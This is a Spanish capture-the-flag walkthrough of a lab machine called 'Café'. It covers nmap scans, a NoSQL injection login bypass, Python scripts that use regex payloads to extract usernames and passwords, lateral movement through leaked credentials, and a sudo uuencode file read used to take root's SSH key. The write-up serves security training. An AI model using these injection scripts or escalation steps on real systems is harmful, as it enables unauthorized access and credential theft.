Café

Café
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Linux Experto 28 Junio 2024 D4redevil

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts 192.168.1.18 -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 21:11 -03
Initiating ARP Ping Scan at 21:11
Scanning 192.168.1.18 [1 port]
Completed ARP Ping Scan at 21:11, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 21:11
Scanning 192.168.1.18 [65535 ports]
Discovered open port 22/tcp on 192.168.1.18
Discovered open port 21/tcp on 192.168.1.18
Discovered open port 80/tcp on 192.168.1.18
Completed SYN Stealth Scan at 21:11, 29.17s elapsed (65535 total ports)
Nmap scan report for 192.168.1.18
Host is up, received arp-response (0.00043s latency).
Scanned at 2025-01-21 21:11:29 -03 for 29s
Not shown: 45547 filtered tcp ports (no-response), 19985 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 64
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 63
MAC Address: 08:00:27:D8:B2:74 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 29.34 seconds
           Raw packets sent: 117324 (5.162MB) | Rcvd: 19990 (799.604KB)

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

nmap -sCV -p21,22,80 -oN servicesScan 192.168.1.18 -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 21:12 -03
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 0.00s elapsed
Initiating ARP Ping Scan at 21:12
Scanning 192.168.1.18 [1 port]
Completed ARP Ping Scan at 21:12, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:12
Completed Parallel DNS resolution of 1 host. at 21:12, 0.01s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 21:12
Scanning 192.168.1.18 [3 ports]
Discovered open port 22/tcp on 192.168.1.18
Discovered open port 21/tcp on 192.168.1.18
Discovered open port 80/tcp on 192.168.1.18
Completed SYN Stealth Scan at 21:12, 0.01s elapsed (3 total ports)
Initiating Service scan at 21:12
Scanning 3 services on 192.168.1.18
Completed Service scan at 21:12, 6.04s elapsed (3 services on 1 host)
NSE: Script scanning 192.168.1.18.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 3.03s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 0.05s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 0.00s elapsed
Nmap scan report for 192.168.1.18
Host is up, received arp-response (0.00077s latency).
Scanned at 2025-01-21 21:12:37 -03 for 10s

PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 64 vsftpd 3.0.3
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey: 
|   256 cf:0e:0b:9c:15:6f:16:c2:38:1e:5d:3a:1f:28:c8:97 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKMRy47BXxd4/bcDInsfR56aPVHjmRQuj3IFtfwgIYluIZQwu+FuaCKn3n9BSJru5j/FAM8FBM/T3D0mcv+sKxw=
|   256 09:2b:1f:58:fd:e1:6c:36:11:59:85:84:59:76:fd:b5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAs8jtaP4v2Nc2BW4hwSG4R6HzaR8dnLGt9MuJy4ZS9a
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.62 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: El Templo Del Caf\xC3\xA9 | Cafeter\xC3\xADa
MAC Address: 08:00:27:D8:B2:74 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.73 seconds
           Raw packets sent: 4 (160B) | Rcvd: 4 (160B)

Explotación inicial

HTTP (80)

Ingresamos a la web que esta corriendo bajo el puerto 80 y nos encontramos con lo siguiente:

Web

Una web al parecer de una cafetería, la cual ofrece distintas variedades de café.

Recorriendo las distintas secciones del sitio, encontramos una que permite realizar reservaciones de forma online, pero para ello debemos iniciar sesión.

Web

Probamos con una inyección SQL básica como puedes ser ' OR 1=1-- - o ' OR 1=1# pero no tenemos suerte.

Lo que podemos hacer, es tramitar la petición a través de Burp Suite para poder analizarla y manipularla de forma más comoda.

Burpsuite - Proxy

La enviamos al Repeater.

Les adelanto que este formulario es vulnerable a NO SQL Injection.

Para demostrarlo, cambiaremos el valor del payload por lo siguiente:

username[$ne]=test&password[$ne]=test

Burpsuite - Repeater

Vemos que nos devuelve un estado 302 y si le damos a Follow redirection nos redirije al panel.

Web

De esta forma logramos explotar la vulnerabilidad para hacer un bypass del login pero vemos que la web se encuentra en contrucción, lo cual no nos da mucha información.

Para ello, lo que haremos será aprovechar la vulnerabilidad de No SQL Injection para enumerar los usuarios de la base de datos.

Para automatizar este proceso montaremos algunos scripts en Python.

En primer lugar, enumeraremos los caracteres que conforman los distintos nombres de usuario.

Creamos un entorno virtual en python.

python3 -m venv env
source env/bin/activate
pip3 install requests pwntools

Ahora que tenemos el entorno virtual y los paquetes necesarios comenzamos con el primer script.

import requests
import string
from pwn import *

url = 'http://192.168.1.18/reservation.php'

def getUser():

    p1 = log.progress("No SQL Injection")
    p1.status("Obteniendo los caracteres que conforman los nombres de los usuarios")

    time.sleep(2)

    p2 = log.progress("Datos extraídos")
    extracted_info = ''

    for char in string.ascii_lowercase:
        regex = '{}.*'.format(char)
        data = { 'username[$regex]' : regex, 'password[$ne]' : 'test'}
        p1.status(data)

        res = requests.post(url, data = data, allow_redirects=False)

        if res.status_code == 302:
            if len(extracted_info) > 0:
                extracted_info += ','
            extracted_info += char
            p2.status(extracted_info)

if __name__ == '__main__':
    getUser()

Explotación de Inyección NO SQL

Ahora que tenemos los caracteres que conforman los nombres de usuarios, creamos otro script para recuperar el primer caracter de los nombres de usuario, es decir, el caracter inicial.

import requests
import string
from pwn import *

url = 'http://192.168.1.18/reservation.php'

def getUser():

    p1 = log.progress("No SQL Injection")
    p1.status("Obteniendo los caracteres iniciales de los nombres de usuario")

    time.sleep(2)

    p2 = log.progress("Datos extraídos")
    extracted_info = ''

    for char in ['a','d','e','i','k','l','n','r','t','u']:
        regex = '^{}.*'.format(char)
        data = { 'username[$regex]' : regex, 'password[$ne]' : 'test'}
        p1.status(data)

        res = requests.post(url, data = data, allow_redirects=False)

        if res.status_code == 302:
            if len(extracted_info) > 0:
                extracted_info += ','
            extracted_info += char
            p2.status(extracted_info)

if __name__ == '__main__':
    getUser()

Explotación de Inyección NO SQL

Ahora que sabemos los caracteres iniciales, recuperamos el resto de caracteres

import requests
import string
from pwn import *

url = 'http://192.168.1.18/reservation.php'

def sendPayload(word):
    for char in ['a','d','e','i','k','l','n','r','t','u']:
        regex = '^{}.*'.format(word + char)
        data = { 'username[$regex]' : regex, 'password[$ne]' : 'test'}

        res = requests.post(url, data = data, allow_redirects=False)

        if res.status_code == 302:
            return char
    return None


def getUser():
    for ch in ['d', 'k']:
        username = ch
        while True:
            char = sendPayload(username)
            if char != None:
                username += char
            else:
                print("Username found: {}".format(username))
                break


if __name__ == '__main__':
    getUser()

Explotación de Inyección NO SQL

Recuperamos los caracteres que componene las contraseñas de cada usuario.

from requests import post
from string import printable

url = 'http://192.168.1.18/reservation.php'

def sendPayload(user):
    valid = []
    for char in printable:
        regex = '{}.*'.format(char)
        data = { 'username' : user, 'password[$regex]' : regex }
        response = post(url, data = data, allow_redirects=False)

        if response.status_code == 302:
            valid.append(char)
    return valid
def getUser():
    for user in ['daniel', 'kurt']:
        valid = sendPayload(user)
        print("Valid characters for {}: {}".format(user, valid))

if __name__ == '__main__':
    getUser()

Explotación de Inyección NO SQL

Por ultimo, recuperamos las contraseñas.

from requests import post
from string import printable

url = 'http://192.168.1.18/reservation.php'

daniel_pass = ['2', '5', '8', 'j', 'm', 'u', 'w', 'y', 'B', 'J', 'P', 'Q', 'T', 'Y', '\\$', '\\.', '\\\\', '\\^', '\\|']
kurt_pass = ['2', '6', '9', 'a', 'b', 'd', 'n', 't', 'x', 'y', 'G', 'M', 'Q', 'S', 'X', '\\$', '\\.', '\\\\', '\\^', '\\|']

def sendPayload(user, word):
    valid = daniel_pass if user == 'daniel' else kurt_pass
    for char in valid:
        regex = '^{}.*'.format(word + char)
        data = { 'username' : user, 'password[$regex]' : regex, 'login' : 'login' }
        response = post(url, data = data, allow_redirects=False)

        if response.status_code == 302:
            return char
    return None

def getUser():
    for user in ['daniel', 'kurt']:
        password = ''
        while True:
            char = sendPayload(user, password)
            if char != None:
                password += char
            else:
                print("Password for {} found: {}".format(user, password))
                break
if __name__ == '__main__':
    getUser()

Kurt

daniel:P8ymBu8J5QjJYBwuT2
kurt:Q9axatnbX6dXSyM2bG

Enumeración / Movimiento lateral

Kurt -> Daniel

Nos conectamos con las credenciales de kurt al sistema, ya que se esta reutilizando la contraseña.

Kurt

Enumerando el sistema, encontramos un mail por parte de daniel el cual nos dice que esta por terminar el sistema de stock que esta desarrollando.

Kurt

Si miramos el directorio de la app, encontramos las credenciales de la base de datos en el código.

Kurt

Nos concectamos a la base de datos y enumeramos usuarios.

Kurt

Encontramos un usuario llamado admin y la contraseña es un hash, el cual les adelanto no podremos crackear.

Si seguimos enumerando, nos encontramos con una carpeta .git en el directorio del proyecto.

Directorio .git

Si enumeramos usando git, podemos ver que hay dos commits y el ultimo de ellos tiene un mensaje particular, el cual indica que se cambio la contraseña de la base de datos.

Directorio .git

Si miramos las diferencias entre ambos commits, podemos ver la contraseña anterior.

Directorio .git

Utilizamos estas credenciales para iniciar sesión en el sistema como daniel.

daniel:nPk2PqwZ5ZZddFWx6v

Daniel -> Sofia

Daniel

Si enumeramos el sistema, encontramos un archivo capture.cap el cual corresponde a una captura de tráfico.

Capture.cap

Si miramos con el comando strings vemos la conexión del usuario sofia al servicio ftp y sus credenciales en texto plano.

Capture.cap

sofia:KkkTpRS1H2cVBV81ZM

sofia -> ana

Nos movemos al usuario sofia.

Sofia

Leemos el flag de user.txt

Flag de user

Si vemos los grupos a los cuales pertenece sofia, vemos uno un tanto particular, el grupo finanzas.

Sofia

Buscamos por archivos y directorios que tengan este grupo asignado.

finanzas_cafeteria

Vemos que existe un directorio finanzas_cafeteria y dentro de este un archivo finanzas.xlsx

finanzas.xlsx

Descargamos el archivo.

Podemos accerlo a través de samba, ya que el directorio es un recurso compartido.

Descargamos el archivo finanzas.xlsx

Abrimos el archivo, en este caso con LibreOffice Calc.

Al abrir el archivo, nos encontramos con lo siguiente:

Archivo finanzas.xlsx

Pero si prestamos antención a la parte inferior donde se muestran las hojas, vemos que indica “Hoja 2” y “Hoja 2 de 2” lo que nos hace pensar que existe una primera hoja, que al parecer esta oculta.

Para mostrar la hoja oculta, hacemos clic derecho sobre la hoja “Hoja 2” y le damos “Mostrar Hoja…”

Archivo finanzas.xlsx

Esto abre un nuevo cuadro de dialogo listando la hoja oculta, la seleccionamos y damos “Ok”.

Archivo finanzas.xlsx

De forma automática nos muestra la “Hoja 1” que estaba oculta.

Archivo finanzas.xlsx

Vemos lo que parecen ser distintas credenciales de varias plataformas, pero hay una particular que nos interesa, la de Cafetería.

Archivo finanzas.xlsx

ana:g@Y5YSCFt1rd4SEwkm

Utilizamos estas credenciales para conectarnos por ssh con el usuario ana.

Ana

Elevación de privilegios

Si realizamos una enumeración básica, encontramos que el usuario ana puede ejecutar con sudo y sin solicitar contraseña el comando /usr/bin/uuencode.

Escalación de privilegios

Si buscamos en GTFOBins encontramos que existe una forma de abusar de este para poder leer archivos en este contexto.

https://gtfobins.github.io/gtfobins/uudecode/

Leemos el archivo id_rsa del usuario root.

Escalación de privilegios

Copiamos la clave RSA a un archivo de nuestra máquina atacante y le asignamos permisos correspondientes, para luego conectarnos al sistema como root.

Escalación de privilegios

Post Explotación

De esta forma, logramos escalar privilegios y podemos leer el flag del archivo root.txt.

Flag de root

Nota final

De esta manera, concluimos la resolución de la máquina Café.

¡Gracias por leer!

¡Happy Hacking!